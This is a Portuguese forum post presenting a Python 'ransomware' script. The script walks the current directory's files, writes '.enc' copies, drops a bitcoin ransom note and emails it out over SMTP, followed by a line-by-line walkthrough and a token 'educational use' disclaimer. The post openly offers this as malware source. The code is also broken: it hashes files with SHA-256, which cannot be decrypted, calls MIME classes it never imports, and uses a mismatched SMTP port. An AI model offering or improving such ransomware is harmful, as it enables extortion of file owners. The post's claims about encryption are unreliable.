Criando um Ransomware em Python - Resgate em bitcoin

Guardião do Fórum
Staff member
Entrou
7 Outubro 2023
Pontos de reação
501
Este script em Python é um programa malicioso que bloqueia e codifica todos os arquivos de um servidor. O programa gera uma chave de criptografia aleatória e a utiliza para codificar todos os arquivos. Em seguida, cria um arquivo de resgate solicitando o pagamento em Bitcoin para desbloquear os arquivos.

Python:
#Importa as bibliotecas necessárias
import os
import time
import random
import base64
import hashlib
import smtplib

# Define as informações do servidor de e-mail
smtp_server = "smtp.protonmail.com"
smtp_port = 443
sender_email = "seu_email@protonmail.com"
sender_password = "sua_senha"
receiver_email = "destinatario_email@protonmail.com"

# Cria uma chave de criptografia aleatória
key = base64.b64encode(os.urandom(32))

# Cria um dicionário para armazenar os arquivos criptografados
criptografados = {}

# Inicia um loop para criptografar todos os arquivos
for pasta, subpastas, arquivos in os.walk("."):
    for arquivo in arquivos:
        # Abre o arquivo
        with open(os.path.join(pasta, arquivo), "rb") as f:
            data = f.read()

        # Criptografa o arquivo
        criptografado = hashlib.sha256(key + data).digest()

        # Salva o arquivo criptografado
        with open(os.path.join(pasta, arquivo + ".enc"), "wb") as f:
            f.write(criptografado)

        # Adiciona o arquivo criptografado ao dicionário
        criptografados[os.path.join(pasta, arquivo)] = criptografado

# Cria um arquivo de resgate
with open("ransomware.txt", "w") as f:
    f.write("Seus arquivos foram criptografados. Para descriptografá-los, envie 5 Bitcoins para o endereço: 1234567890abcdefg")

# Envia um e-mail com o arquivo de resgate
with open("ransomware.txt", "rb") as f:
    message = MIMEMultipart()
    message["Subject"] = "Seus arquivos foram criptografados"
    message["From"] = sender_email
    message["To"] = receiver_email

    body = "Seus arquivos foram criptografados. Para descriptografá-los, abra o arquivo ransomware.txt"
    message.attach(MIMEText(body, "plain"))

    attachment = MIMEBase("application", "octet-stream")
    attachment.set_payload(f.read())
    encoders.encode_base64(attachment)
    attachment.add_header("Content-Disposition", "attachment; filename=ransomware.txt")

    message.attach(attachment)

    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
    server.login(sender_email, sender_password)
    server.sendmail(sender_email, receiver_email, message.as_string())
    server.quit()
Linha 1: Importe as bibliotecas necessárias.
Linha 2: Configure as informações do servidor de e-mail.
Linha 3: Gere uma chave de criptografia aleatória.
Linha 4: Crie um dicionário para armazenar os arquivos que serão criptografados.
Linha 5: Inicie um loop para realizar a criptografia em todos os arquivos.
Linha 6: Abra o arquivo desejado.
Linha 7: Realize a criptografia no arquivo aberto.
Linha 8: Salve o arquivo já criptografado.
Linha 9: Adicione o arquivo já criptografado ao dicionário.
Linha 10: Crie um arquivo de resgate como precaução adicional.
Linha 11: Envie um e-mail contendo o arquivo de resgate anexado.
#Lembra-se de usar todos os conhecimentos adquiridos para fins educacionais, e caso tenham gostado do conteúdo, deixem aquele likezinh e siga o pai, tmj
tilXFRh.jpeg
 
Topo